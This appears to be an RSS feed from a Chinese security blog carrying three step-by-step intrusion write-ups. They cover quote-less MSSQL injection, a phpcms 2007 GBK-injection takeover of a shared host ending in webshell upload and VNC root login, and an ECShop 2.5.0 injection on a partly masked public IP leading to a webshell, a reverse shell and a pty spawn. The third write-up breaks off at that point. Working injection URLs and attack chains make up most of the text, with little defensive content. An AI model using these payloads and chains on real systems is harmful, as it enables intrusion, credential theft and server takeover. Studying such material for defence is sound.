<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>暖月 &#187; 渗透测试</title>
	<atom:link href="http://www.nuanyue.com/tag/%e6%b8%97%e9%80%8f%e6%b5%8b%e8%af%95/feed" rel="self" type="application/rss+xml" />
	<link>http://www.nuanyue.com</link>
	<description>专注WEB、Linux及数据库应用安全</description>
	<lastBuildDate>Sun, 01 Aug 2010 01:52:44 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>绕过单引号继续注入</title>
		<link>http://www.nuanyue.com/%e7%bb%95%e8%bf%87%e5%8d%95%e5%bc%95%e5%8f%b7%e7%bb%a7%e7%bb%ad%e6%b3%a8%e5%85%a5.html</link>
		<comments>http://www.nuanyue.com/%e7%bb%95%e8%bf%87%e5%8d%95%e5%bc%95%e5%8f%b7%e7%bb%a7%e7%bb%ad%e6%b3%a8%e5%85%a5.html#comments</comments>
		<pubDate>Mon, 22 Feb 2010 13:21:27 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Original article | 原创文章]]></category>
		<category><![CDATA[注入整理]]></category>
		<category><![CDATA[渗透测试]]></category>

		<guid isPermaLink="false">http://www.nuanyue.com/?p=1192</guid>
		<description><![CDATA[<p><a href="http://www.nuanyue.com/wp-content/uploads/2010/02/9.png"></a>文/图 <a href="http://www.nuanyue.com">饭</a> </p>
<p>Web应用程序一般都会使用数据库来保存各种信息，比如电子商务网站的帐户信息、销售商品的价格，订单、支付细节、和各种不同的权限数值等。数据库中的信息的读取、更新、增加或者删除等都是通过SQL来实现的，因此，在数据交互的环节没有安全过滤净化，则可能易于受到SQL注入攻击，严重的可能导致数据[......]</p><p class='read-more'><a href='http://www.nuanyue.com/%e7%bb%95%e8%bf%87%e5%8d%95%e5%bc%95%e5%8f%b7%e7%bb%a7%e7%bb%ad%e6%b3%a8%e5%85%a5.html' target='_blank'>全文阅读</a></p>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.nuanyue.com/wp-content/uploads/2010/02/9.png"></a>文/图 <a href="http://www.nuanyue.com">饭</a> </p>
<p>Web应用程序一般都会使用数据库来保存各种信息，比如电子商务网站的帐户信息、销售商品的价格，订单、支付细节、和各种不同的权限数值等。数据库中的信息的读取、更新、增加或者删除等都是通过SQL来实现的，因此，在数据交互的环节没有安全过滤净化，则可能易于受到SQL注入攻击，严重的可能导致数据库非法操作，但是随着时间的推移，Web应用程序的开发者安全意识的日渐增强，SQL注入漏洞已经呈下降消失状态，但是之前的Web程序在被动防范SQL攻击时，还是略显乏力，或者说是考虑不太周全。比如说普遍使用的过滤关键字的方法，如果仅仅过滤单引号或者小写类的关键字，则极易出现绕过的情形，而国内的安全公司相继推出的硬件WAF是否会存在同样的问题呢？从根本上说硬件WAF基于访问请求流量来鉴别攻击行为，可能在以后的攻防对立的演化过程也会慢慢有爆出被绕过的问题，所有的问题依然存在。本文试着在注入的SQL语句中不引用单引号，来和大家讨论一下注入攻击的部分原理和技巧。在一次测试中，发现一注入点过滤了单引号和小写的关键字，提交语句如下：</p>
<p><a href="http://www.nuanyue.com/Test.asp?id=28">http://www.nuanyue.com/Test.asp?id=28&#8242;</a> AND 1=(SELECT @@VERSION)—</p>
<p style="text-align: center;"><a href="http://www.nuanyue.com/wp-content/uploads/2010/02/1.png" rel="lightbox"><img class="size-full wp-image-1194 aligncenter" title="1" src="http://www.nuanyue.com/wp-content/uploads/2010/02/1.png" alt="" width="540" height="397" /></a></p>
<p>去掉单引号再次提交：</p>
<p> <a href="http://www.nuanyue.com/Test.asp?id=28">http://www.nuanyue.com/Test.asp?id=28</a> AND 1=(SELECT @@VERSION)—</p>
<p style="text-align: center;"><a href="http://www.nuanyue.com/wp-content/uploads/2010/02/2.png" rel="lightbox"><img class="size-full wp-image-1195 aligncenter" title="2" src="http://www.nuanyue.com/wp-content/uploads/2010/02/2.png" alt="" width="540" height="397" /></a></p>
<p>成功爆出数据库的系统版本了，说明在处理数据提交时，网站即使过滤了单引号了，依然可以注入。以下将和大家讨论获取数据库名、获取表名、获取列名、获取值等内容的部分SQL语句。在Mssql2005的master.dbo.sysdatabases表中存放着SQLSERVER数据库系统中的所有的数据库信息，仅需要PUBLIC权限就可以进行select操作：</p>
<p>use master;</p>
<p>SELECT * FROM MASTER.DBO.SYSDATABASES</p>
<p style="text-align: center;"><a href="http://www.nuanyue.com/wp-content/uploads/2010/02/4.png" rel="lightbox"><img class="aligncenter" title="4" src="http://www.nuanyue.com/wp-content/uploads/2010/02/4.png" alt="" width="540" height="405" /></a></p>
<p>一至四，都是系统自带的数据库名，所以可以通过dbid这个查询变量来一一进行爆出数据库名，提交查询语句：</p>
<p> <a href="http://www.nuanyue.com/Test.asp?id=28">http://www.nuanyue.com/Test.asp?id=28</a> AND 1 IN (SELECT NAME FROM MASTER.DBO.SYSDATABASES WHERE DBID=3)</p>
<p style="text-align: center;"><a href="http://www.nuanyue.com/wp-content/uploads/2010/02/3.png" rel="lightbox"><img class="size-full wp-image-1197 aligncenter" title="3" src="http://www.nuanyue.com/wp-content/uploads/2010/02/3.png" alt="" width="540" height="397" /></a></p>
<p>查询语句通过dbid取值从1至到无法爆出数据库名为至。</p>
<p style="text-align: center;"><a href="http://www.nuanyue.com/wp-content/uploads/2010/02/5.png" rel="lightbox"><img class="size-full wp-image-1198 aligncenter" title="5" src="http://www.nuanyue.com/wp-content/uploads/2010/02/5.png" alt="" width="540" height="397" /></a></p>
<p>在Mssql2005版本里每个数据库都有一个用来存放表名信息的表，其权限同样仅public权限就能查询了,表名为：INFORMATION_SCHEMA.TABLES。</p>
<p>use master ;</p>
<p>select * from INFORMATION_SCHEMA.TABLES;</p>
<p style="text-align: center;"><a href="http://www.nuanyue.com/wp-content/uploads/2010/02/6.png" rel="lightbox"><img class="size-full wp-image-1199 aligncenter" title="6" src="http://www.nuanyue.com/wp-content/uploads/2010/02/6.png" alt="" width="540" height="403" /></a></p>
<p>表名就存储在TABLE_NAME列里，通过使用条件查询语句限制型“Top 1”，一条条纪录爆出表名来。</p>
<p> <a href="http://www.nuanyue.com/Test.asp?id=28">http://www.nuanyue.com/Test.asp?id=28</a> AND 1 IN (SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES)</p>
<p style="text-align: center;"><a href="http://www.nuanyue.com/wp-content/uploads/2010/02/7.png" rel="lightbox"><img class="size-full wp-image-1200 aligncenter" title="7" src="http://www.nuanyue.com/wp-content/uploads/2010/02/7.png" alt="" width="540" height="378" /></a></p>
<p>其为爆出的第一条纪录。如想爆出第一条记录，即可以使用sql语法的条件语句“where table_name !=0x已经爆出表名的十六进制”来取内容。先取已爆表名的十六进制。</p>
<p style="text-align: center;"><a href="http://www.nuanyue.com/wp-content/uploads/2010/02/8.png" rel="lightbox"><img class="size-full wp-image-1201 aligncenter" title="8" src="http://www.nuanyue.com/wp-content/uploads/2010/02/8.png" alt="" width="540" height="573" /></a></p>
<p>再提交语句如下：</p>
<p> <a href="http://www.nuanyue.com/Test.asp?id=28">http://www.nuanyue.com/Test.asp?id=28</a> AND 1 IN (SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME!=0x41006400760065007200740069007A0065007200)</p>
<p style="text-align: center;"><a href="http://www.nuanyue.com/wp-content/uploads/2010/02/9.png" rel="lightbox"><img class="aligncenter" title="9" src="http://www.nuanyue.com/wp-content/uploads/2010/02/9.png" alt="" width="540" height="397" /></a></p>
<p>成功爆出第二个表名，剩下的以此类推。当然读取数据库的INFORMATION_SCHEMA.TABLES表内容，只是当前数据库的表名，如果要读取整个数据库的表名，可以读sysobjects表的name列名，原理同上。</p>
<p>在获取表名，得到列名是注入的下一个关键问题，在MSSQL 2005的数据库里，有张表名sys.all_objects里存放着表与列的信息，其表的列名object_id里存放着一个数值，对应着另一表名sys.all_columns里的列名ID,而sys.all_columns表里存放着列的信息。执行：</p>
<p>Select * from sys.all_objects</p>
<p style="text-align: center;"><a href="http://www.nuanyue.com/wp-content/uploads/2010/02/10.png" rel="lightbox"><img class="size-full wp-image-1203 aligncenter" title="10" src="http://www.nuanyue.com/wp-content/uploads/2010/02/10.png" alt="" width="540" height="405" /></a></p>
<p>由上图可知，列名name和列名object_id是有对应的。在注入时，可以通过指定name值来指定爆表的object_id的值。提交：</p>
<p> <a href="http://www.nuanyue.com/Test.asp?id=28">http://www.nuanyue.com/Test.asp?id=28</a> AND 999999&lt; (SELECT TOP 1 CAST([OBJECT_ID] AS NVARCHAR(20)) FROM SYS.ALL_OBJECTS WHERE43006C00690063006B0049005000)—</p>
<p style="text-align: center;"><a href="http://www.nuanyue.com/wp-content/uploads/2010/02/13.png" rel="lightbox"><img class="size-full wp-image-1204 aligncenter" title="13" src="http://www.nuanyue.com/wp-content/uploads/2010/02/13.png" alt="" width="540" height="397" /></a></p>
<p>以上语句是无法直接爆出数值来的，但是可以用折半法来进行猜解，由于其数值都在10位以上，所以，其法也不太可能，但是可以联合两张表来直接查询。再次提交：</p>
<p> <a href="http://www.nuanyue.com/Test.asp?id=28">http://www.nuanyue.com/Test.asp?id=28</a> AND 9 in (SELECT B.NAME FROM SYSOBJECTS A,SYSCOLUMNS B WHERE A.ID=B.ID AND A.NAME=0x43006C00690063006B0049005000)—</p>
<p style="text-align: center;"> <a href="http://www.nuanyue.com/wp-content/uploads/2010/02/11.png" rel="lightbox"><img class="size-full wp-image-1205 aligncenter" title="11" src="http://www.nuanyue.com/wp-content/uploads/2010/02/11.png" alt="" width="540" height="397" /></a></p>
<p>已经爆出表名0x43006C00690063006B0049005000的第一个列名ID了，可以加入条件”and B.NAMe != 0x已经爆出的列名”， 类推可以依次爆出。</p>
<p> <a href="http://www.nuanyue.com/Test.asp?id=28">http://www.nuanyue.com/Test.asp?id=28</a> AND 9 in (SELECT B.NAME FROM SYSOBJECTS A,SYSCOLUMNS B WHERE A.ID=B.ID AND A.NAME=0x43006C00690063006B0049005000 AND B.NAME!=0&#215;49004400)—</p>
<p style="text-align: center;"><a href="http://www.nuanyue.com/wp-content/uploads/2010/02/12.png" rel="lightbox"><img class="size-full wp-image-1206 aligncenter" title="12" src="http://www.nuanyue.com/wp-content/uploads/2010/02/12.png" alt="" width="540" height="397" /></a></p>
<p>在获取了表名和列名之后，获取其值也是很简单的。比较常用的有比如这样的获取值的：</p>
<p><a href="http://www.nuanyue.com/Test.asp?id=28">http://www.nuanyue.com/Test.asp?id=28</a> AND 77= (SELECT ascii(@@VERSION))</p>
<p><a href="http://www.nuanyue.com/Test.asp?id=28">http://www.nuanyue.com/Test.asp?id=28</a> AND 1=2 UNSION SELECT 1,2,3..@@VERSION&#8211;…</p>
<p>一种是爆错对比，一种是union操作。第一种是基于查询后值的对比，而union操作是将执行返回的结果直接在浏览器显示，从而避免繁琐的折半猜测，在使用union操作时，前提则是前后查询的两种结果的结构相同，即是列名数相同，可以通过“order by 列名数“来鉴别。</p>
<p> <a href="http://www.nuanyue.com/Test.asp?id=28">http://www.nuanyue.com/Test.asp?id=28</a> order by 1—</p>
<p> <a href="http://www.nuanyue.com/Test.asp?id=28">http://www.nuanyue.com/Test.asp?id=28</a> order by 2</p>
<p>…</p>
<p> <a href="http://www.nuanyue.com/Test.asp?id=28">http://www.nuanyue.com/Test.asp?id=28</a> Order by 8—</p>
<p>此时，返回错误页面，即说明列名数是8，执行语句：</p>
<p> <a href="http://www.nuanyue.com/Test.asp?id=28">http://www.nuanyue.com/Test.asp?id=28</a> and 1=2 Unsion select 1,2,3,4,5,6,7,8—</p>
<p>来取出纪录。</p>
<p>防范SQL注入攻击，尽管不同的数据库也会有不同的攻击技巧，复杂程序也各不相同，而许多SQL注入防范措施仅仅从某一处着手或者部分有效，从一个安全整体的角度立体的防护或许是值得借鉴的方法，比如从代码逻辑层、数据库层、网络层、系统层等，从本文阐述的原理来看，下次针对数据库的安全加固，你是否会调整一下“SYSOBJECTS、SYSCOLUMNS”等对象的权限呢？好像数据库批量挂马也有用到这两个表哦！</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nuanyue.com/%e7%bb%95%e8%bf%87%e5%8d%95%e5%bc%95%e5%8f%b7%e7%bb%a7%e7%bb%ad%e6%b3%a8%e5%85%a5.html/feed</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>一次简单的“旁注”渗透</title>
		<link>http://www.nuanyue.com/%e4%b8%80%e6%ac%a1%e7%ae%80%e5%8d%95%e7%9a%84%e2%80%9c%e6%97%81%e6%b3%a8%e2%80%9d%e6%b8%97%e9%80%8f.html</link>
		<comments>http://www.nuanyue.com/%e4%b8%80%e6%ac%a1%e7%ae%80%e5%8d%95%e7%9a%84%e2%80%9c%e6%97%81%e6%b3%a8%e2%80%9d%e6%b8%97%e9%80%8f.html#comments</comments>
		<pubDate>Wed, 30 Dec 2009 05:08:46 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Original article | 原创文章]]></category>
		<category><![CDATA[渗透测试]]></category>

		<guid isPermaLink="false">http://www.nuanyue.com/?p=1130</guid>
		<description><![CDATA[<p style="text-align: left;">文/<a href="http://www.nuanyue.com">饭</a>、Beach</p>
<p>渗透的主机是一朋友的，双线架设的虚拟主机，里面有几个站，架构是apache+php+mysql。在测试前，信息收集是很重要的。从系统信息、数据库信息、网络设备信息、管理员的信息等，都是值的统计分析和利用的。先对主机来端口扫描：</p>
<p style="text-align: center;"><a href="http://www.nuanyue.com/wp-content/uploads/2009/12/11.jpg" rel="lightbox"><img class="size-full wp-image-1131 aligncenter" title="1" src="http://www.nuanyue.com/wp-content/uploads/2009/12/11.jpg" alt="" width="540" height="261" /></a></p>
<p>由图可知：这台服务器开放了80、443、5901等[......]</p><p class='read-more'><a href='http://www.nuanyue.com/%e4%b8%80%e6%ac%a1%e7%ae%80%e5%8d%95%e7%9a%84%e2%80%9c%e6%97%81%e6%b3%a8%e2%80%9d%e6%b8%97%e9%80%8f.html' target='_blank'>全文阅读</a></p>]]></description>
			<content:encoded><![CDATA[<p style="text-align: left;">文/<a href="http://www.nuanyue.com">饭</a>、Beach</p>
<p>渗透的主机是一朋友的，双线架设的虚拟主机，里面有几个站，架构是apache+php+mysql。在测试前，信息收集是很重要的。从系统信息、数据库信息、网络设备信息、管理员的信息等，都是值的统计分析和利用的。先对主机来端口扫描：</p>
<p style="text-align: center;"><a href="http://www.nuanyue.com/wp-content/uploads/2009/12/11.jpg" rel="lightbox"><img class="size-full wp-image-1131 aligncenter" title="1" src="http://www.nuanyue.com/wp-content/uploads/2009/12/11.jpg" alt="" width="540" height="261" /></a></p>
<p>由图可知：这台服务器开放了80、443、5901等端口，开放了WEB、https、VNC等端口。由于是虚拟主机，确认其有多少个域名和网站，是旁注的第一步。使用虚拟主机站点查询工具，进行查询：</p>
<p style="text-align: center;"><a href="http://www.nuanyue.com/wp-content/uploads/2009/12/21.jpg" rel="lightbox"><img class="size-full wp-image-1132 aligncenter" title="2" src="http://www.nuanyue.com/wp-content/uploads/2009/12/21.jpg" alt="" width="495" height="361" /></a></p>
<p>由上图可知，此IP上共有七个站点。随便浏览了这七个站点，其中有个站好像有问题。如下图：</p>
<p style="text-align: center;"><a href="http://www.nuanyue.com/wp-content/uploads/2009/12/31.jpg" rel="lightbox"><img class="size-full wp-image-1133 aligncenter" title="3" src="http://www.nuanyue.com/wp-content/uploads/2009/12/31.jpg" alt="" width="540" height="280" /></a></p>
<p>很眼熟的phpcms标志。既然有主站在使用开源的CMS，值得“深入”。拿出wwwscan工具进行进一步扫描。</p>
<p style="text-align: center;"><a href="http://www.nuanyue.com/wp-content/uploads/2009/12/41.jpg" rel="lightbox"><img class="size-full wp-image-1134 aligncenter" title="4" src="http://www.nuanyue.com/wp-content/uploads/2009/12/41.jpg" alt="" width="540" height="360" /></a></p>
<p>扫描结束后，告诉了几个目录，一一访问，寻找有没有敏感信息。</p>
<p style="text-align: center;"><a href="http://www.nuanyue.com/wp-content/uploads/2009/12/51.jpg" rel="lightbox"><img class="size-full wp-image-1135 aligncenter" title="5" src="http://www.nuanyue.com/wp-content/uploads/2009/12/51.jpg" alt="" width="540" height="383" /></a></p>
<p>一个管理员界面，说明phpcms是2007版的。从分析结果来看，其一网站使用了phpcms2007版的程序，在Web应用程序渗透测试，注入是很常见的手法了。记得有个很经典的多字节编码漏洞。其漏洞引发的原理是：0xbf27不是有一个有效的GBK字符，但是经过addslashed()转换后就变成0xbf5c27,0xbf5c是个有效的GBK字符，所以0xbf5c27会当作一个字符0xbf5c和一个单绰号来处理，结果是跟在引号后查询语句得到了执行。在phpcms2007程序里由多字节编码漏洞引发的漏洞有多个，以area.php文件里的漏洞来作测试。<br />
提交URL：<a href="http://www.nuanyue.com/area.php?action=city&amp;province=%BF%27">http://www.nuanyue.com/area.php?action=city&amp;province=%BF%27</a></p>
<p style="text-align: center;"><a href="http://www.nuanyue.com/wp-content/uploads/2009/12/61.jpg" rel="lightbox"><img class="size-full wp-image-1136 aligncenter" title="6" src="http://www.nuanyue.com/wp-content/uploads/2009/12/61.jpg" alt="" width="504" height="307" /></a></p>
<p>很经典的一个多字节编码漏洞的网页。继续提交来判断列数：<br />
http://www.nuanyue.com/area.php?action=city&amp;province=%BF%27 order by 1/**</p>
<p style="text-align: center;"><a href="http://www.nuanyue.com/wp-content/uploads/2009/12/71.jpg" rel="lightbox"><img class="size-full wp-image-1137 aligncenter" title="7" src="http://www.nuanyue.com/wp-content/uploads/2009/12/71.jpg" alt="" width="380" height="316" /></a></p>
<p>由上图可知，返回正常网页。继续提交URL：<br />
http://www.nuanyue.com/area.php?action=city&amp;province=%BF%27 order by 2/**</p>
<p style="text-align: center;"><a href="http://www.nuanyue.com/wp-content/uploads/2009/12/81.jpg" rel="lightbox"><img class="size-full wp-image-1138 aligncenter" title="8" src="http://www.nuanyue.com/wp-content/uploads/2009/12/81.jpg" alt="" width="415" height="270" /></a></p>
<p>返回不正常网页。<br />
说明列数值是1，继续提交：<br />
<a href="http://www.nuanyue.com/area.php?action=city&amp;province=%BF%27/**/union/**/select/**/user()/">http://www.nuanyue.com/area.php?action=city&amp;province=%BF%27/**/union/**/select/**/user()/</a>**</p>
<p style="text-align: center;"><a href="http://www.nuanyue.com/wp-content/uploads/2009/12/91.jpg" rel="lightbox"><img class="size-full wp-image-1139 aligncenter" title="9" src="http://www.nuanyue.com/wp-content/uploads/2009/12/91.jpg" alt="" width="381" height="243" /></a></p>
<p>看来网站连接数据库的权限很大。还可以通过version(),data()..等收集信息。直接暴露phpcmd后台的管理员和密码。利用后台可以上传编辑php文件获取WebShell。继续提交：<br />
<a href="http://www.nuanyue.com/area.php?action=city&amp;province=%BF\%27/**/union/**/select/**/CONCAT(username,password)/**/from%20phpcms_member%20where%20userid=1/">http://www.nuanyue.com/area.php?action=city&amp;province=%BF\%27/**/union/**/select/**/CONCAT(username,password)/**/from%20phpcms_member%20where%20userid=1/</a>*</p>
<p style="text-align: center;"><a href="http://www.nuanyue.com/wp-content/uploads/2009/12/111.jpg" rel="lightbox"><img class="size-full wp-image-1140 aligncenter" title="11" src="http://www.nuanyue.com/wp-content/uploads/2009/12/111.jpg" alt="" width="419" height="247" /></a></p>
<p>由上图可以知道，网站的管理员是phpcms，而密码是32MD加密的。可以直接去md5相关网站去查询如图：</p>
<p style="text-align: center;"><a href="http://www.nuanyue.com/wp-content/uploads/2009/12/121.jpg" rel="lightbox"><img class="size-full wp-image-1141 aligncenter" title="12" src="http://www.nuanyue.com/wp-content/uploads/2009/12/121.jpg" alt="" width="540" height="163" /></a></p>
<p>已经知道管理后台帐号和密码了。直接进后台去上传脚本木马了。由于phpcms程序在后台上传php脚本没有限制，所以得到后台，就可以上传脚本木马。</p>
<p style="text-align: center;"><a href="http://www.nuanyue.com/wp-content/uploads/2009/12/131.jpg" rel="lightbox"><img class="size-full wp-image-1142 aligncenter" title="13" src="http://www.nuanyue.com/wp-content/uploads/2009/12/131.jpg" alt="" width="540" height="365" /></a></p>
<p>其次渗透测试利用的方法主要是旁注，旁注的意义在于“曲径通幽”，进而获取系统权限。在此之前，收集数据库信息、系统信息、网站信息和系统管理员的信息进行综合分析利用，在社工是有意义的。在获取一网站的权限，我们进行分析。</p>
<p style="text-align: center;"><a href="http://www.nuanyue.com/wp-content/uploads/2009/12/14.jpg" rel="lightbox"><img class="size-full wp-image-1143 aligncenter" title="14" src="http://www.nuanyue.com/wp-content/uploads/2009/12/14.jpg" alt="" width="540" height="362" /></a></p>
<p>获取系统的mysql的管理员帐号是root,密码是12*。许多管理员有密码系统多用的情况，来试试vnc是不是也用这个密码？</p>
<p style="text-align: center;"><a href="http://www.nuanyue.com/wp-content/uploads/2009/12/15.jpg" rel="lightbox"><img class="size-full wp-image-1144 aligncenter" title="15" src="http://www.nuanyue.com/wp-content/uploads/2009/12/15.jpg" alt="" width="540" height="315" /></a></p>
<p>直接进去了，获取root权限，连用exp来提权都省了。“三分技术，七分管理”，很好的验证，一个密码多用或者密码有规律的都是存在风险的。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nuanyue.com/%e4%b8%80%e6%ac%a1%e7%ae%80%e5%8d%95%e7%9a%84%e2%80%9c%e6%97%81%e6%b3%a8%e2%80%9d%e6%b8%97%e9%80%8f.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Linux下渗透嗅探术</title>
		<link>http://www.nuanyue.com/linux%e4%b8%8b%e6%b8%97%e9%80%8f%e5%97%85%e6%8e%a2%e6%9c%af.html</link>
		<comments>http://www.nuanyue.com/linux%e4%b8%8b%e6%b8%97%e9%80%8f%e5%97%85%e6%8e%a2%e6%9c%af.html#comments</comments>
		<pubDate>Sun, 13 Dec 2009 15:56:15 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Original article | 原创文章]]></category>
		<category><![CDATA[渗透测试]]></category>

		<guid isPermaLink="false">http://www.nuanyue.com/?p=1069</guid>
		<description><![CDATA[<span>文/<a href="http://www.nuanyue.com">饭</a> Beach</span>

内网渗透在攻击层面，其实更趋向于社工和常规漏洞检测的结合，为了了解网内防护措施的设置是通过一步步的刺探和经验积累，有时判断出错，也能进入误区。但是如果能在网内进行嗅探，则能事半功倍，处于一个对网内设置完全透明的状态。本文将从一个注点引发的突破，到控制整个内网的全过程来跟大家讨论，内网的渗透嗅探术和安全防护一些内容。

在寻找突破时，更多的是从应用服务来，而应用服务最直观的信息采集，就是端口扫描，不同的应用，开放的服务不一样。所以，在对网络进行信息收集时，大概分为这样两步： 端口探测，程序指纹分析。在端口探测方面，个人喜欢用SuperScan来快速对网段里的应用进行判断，如图：
<p style="text-align: center;"><a rel="lightbox" href="http://www.nuanyue.com/wp-content/uploads/2009/12/1.jpg" target="_blank"><img class="size-full wp-image-953 aligncenter" style="margin: 0px auto 10px; text-align: center; display: block;" title="内网渗透嗅探术" src="http://www.nuanyue.com/wp-content/uploads/2009/12/1.jpg" alt="内网渗透嗅探术" width="540" height="285" /></a></p>

在掌握端口信息后，就要对服务应用程序的指纹进行分析，主要包括版本号、已知的漏洞信息、常规配置信息、针对此应用流行的攻击方法等。本文试着对网内一台提供WEB服务的主机作为突破口，提交一个畸形的请求，如图：[......]<p class='read-more'><a href='http://www.nuanyue.com/linux%e4%b8%8b%e6%b8%97%e9%80%8f%e5%97%85%e6%8e%a2%e6%9c%af.html' target='_blank'>全文阅读</a></p>]]></description>
			<content:encoded><![CDATA[<p><span>文/<a href="http://www.nuanyue.com">饭</a> Beach</span></p>
<p>内网渗透在攻击层面，其实更趋向于社工和常规漏洞检测的结合，为了了解网内防护措施的设置是通过一步步的刺探和经验积累，有时判断出错，也能进入误区。但是如果能在网内进行嗅探，则能事半功倍，处于一个对网内设置完全透明的状态。本文将从一个注点引发的突破，到控制整个内网的全过程来跟大家讨论，内网的渗透嗅探术和安全防护一些内容。</p>
<p>在寻找突破时，更多的是从应用服务来，而应用服务最直观的信息采集，就是端口扫描，不同的应用，开放的服务不一样。所以，在对网络进行信息收集时，大概分为这样两步： 端口探测，程序指纹分析。在端口探测方面，个人喜欢用SuperScan来快速对网段里的应用进行判断，如图：</p>
<p style="text-align: center;"><a rel="lightbox" href="http://www.nuanyue.com/wp-content/uploads/2009/12/1.jpg" target="_blank"><img class="size-full wp-image-953 aligncenter" style="margin: 0px auto 10px; text-align: center; display: block;" title="内网渗透嗅探术" src="http://www.nuanyue.com/wp-content/uploads/2009/12/1.jpg" alt="内网渗透嗅探术" width="540" height="285" /></a></p>
<p>在掌握端口信息后，就要对服务应用程序的指纹进行分析，主要包括版本号、已知的漏洞信息、常规配置信息、针对此应用流行的攻击方法等。本文试着对网内一台提供WEB服务的主机作为突破口，提交一个畸形的请求，如图：</p>
<p style="text-align: center;"><a rel="lightbox" href="http://www.nuanyue.com/wp-content/uploads/2009/12/2.jpg" target="_blank"><img class="size-full wp-image-953 aligncenter" style="margin: 0px auto 10px; text-align: center; display: block;" title="内网渗透嗅探术" src="http://www.nuanyue.com/wp-content/uploads/2009/12/2.jpg" alt="内网渗透嗅探术" width="540" height="485" /></a></p>
<p>从上图可以读取以下信息：<br />
系统类型：Fedora<br />
应用程序：apache/2.2.4<br />
以上只是很简单的手工对程序指纹进行分析，当然在针对web应用的扫描器，还有很多，比较常用的wvs、appscan等。用轻量级的”wwwwscan”来扫描：</p>
<p style="text-align: center;"><a rel="lightbox" href="http://www.nuanyue.com/wp-content/uploads/2009/12/3.jpg" target="_blank"><img class="size-full wp-image-953 aligncenter" style="margin: 0px auto 10px; text-align: center; display: block;" title="内网渗透嗅探术" src="http://www.nuanyue.com/wp-content/uploads/2009/12/3.jpg" alt="内网渗透嗅探术" width="540" height="273" /></a></p>
<p>由扫描的结果可以看到，与手工探测的结果是一致的。</p>
<p>通上面简单的信息收集后，可以了解到网站架构是apache+mysql+php,直接请求URL：http://61.67.xx.116/htdocs/</p>
<p style="text-align: center;"><a rel="lightbox" href="http://www.nuanyue.com/wp-content/uploads/2009/12/4.jpg" target="_blank"><img class="size-full wp-image-953 aligncenter" style="margin: 0px auto 10px; text-align: center; display: block;" title="内网渗透嗅探术" src="http://www.nuanyue.com/wp-content/uploads/2009/12/4.jpg" alt="内网渗透嗅探术" width="540" height="415" /></a></p>
<p>发现此站是EcShop架构的站点，其使用的版本信息是V2.5.0。EcShop的版本是存在许多的注入点的。其中user.php文件有个注入漏洞，直接请求URL如下：<br />
http://61.67.xx.116/htdocs/user.php?act=order_query&amp;order_sn=&#8217; union select 1,2,3,4,5,6,concat(user_name,0x7c,password,0x7c,email),8 from ecs_admin_user/*</p>
<p style="text-align: center;"><a rel="lightbox" href="http://www.nuanyue.com/wp-content/uploads/2009/12/5.jpg" target="_blank"><img class="size-full wp-image-953 aligncenter" style="margin: 0px auto 10px; text-align: center; display: block;" title="内网渗透嗅探术" src="http://www.nuanyue.com/wp-content/uploads/2009/12/5.jpg" alt="内网渗透嗅探术" width="540" height="397" /></a></p>
<p>获取管理员帐号和密码，ECShop使用的是MD5加密，直接解密。原来密码是admin，有点意料之外。访问管理后台，修改模版处，插入一句木马，即可得到WEBSEHLL，如图：</p>
<p style="text-align: center;"><a rel="lightbox" href="http://www.nuanyue.com/wp-content/uploads/2009/12/6.jpg" target="_blank"><img class="size-full wp-image-953 aligncenter" style="margin: 0px auto 10px; text-align: center; display: block;" title="内网渗透嗅探术" src="http://www.nuanyue.com/wp-content/uploads/2009/12/6.jpg" alt="内网渗透嗅探术" width="540" height="485" /></a></p>
<p>在获取WEBshell权限后，就需要对系统进行分析，查找Exp了。执行命令如下：<br />
#uname –a</p>
<p>返回的信息是“Linux fedora 2.6.20-1.2962.fc6 ”，Linux内核是2.6.20的。<br />
在提权时，要用到gcc进行编译，刺探一下系统有没有安装，执行命令，<br />
#gcc –help</p>
<p>发现可以运行gcc,并且系统管理员没对使用shell和gcc进行限制，在也是个安全缺失。</p>
<p>在寻找本地提权利用程序时，通常是根据系统版本来进行，应用程序的本地提权也是一样的。在网上就有可供查询的网站，比如http://www.milw0rm.com/网站如图：</p>
<p style="text-align: center;"><a rel="lightbox" href="http://www.nuanyue.com/wp-content/uploads/2009/12/7.jpg" target="_blank"><img class="size-full wp-image-953 aligncenter" style="margin: 0px auto 10px; text-align: center; display: block;" title="内网渗透嗅探术" src="http://www.nuanyue.com/wp-content/uploads/2009/12/7.jpg" alt="内网渗透嗅探术" width="540" height="454" /></a></p>
<p>发现可利用的漏洞还真不少。</p>
<p>本地提权是需要个交互式的shell的。在本机监听端口如下：</p>
<p>利用WebShell自带的反弹功能直接连接本地的12345端口并返回shell如图：</p>
<p style="text-align: center;"><a rel="lightbox" href="http://www.nuanyue.com/wp-content/uploads/2009/12/8.jpg" target="_blank"><img class="size-full wp-image-953 aligncenter" style="margin: 0px auto 10px; text-align: center; display: block;" title="内网渗透嗅探术" src="http://www.nuanyue.com/wp-content/uploads/2009/12/8.jpg" alt="内网渗透嗅探术" width="331" height="131" /></a></p>
<p>连接成功后，就能得到一个apache用户的shell<br />
，但有时如果不能交互时，可以直接执行，<br />
# python –c ‘impotr pty;pty.spawn(“/bin/sh”);’<br />
来得到交互的Shell,一般的系统都默认安装python<br />
如图：</p>
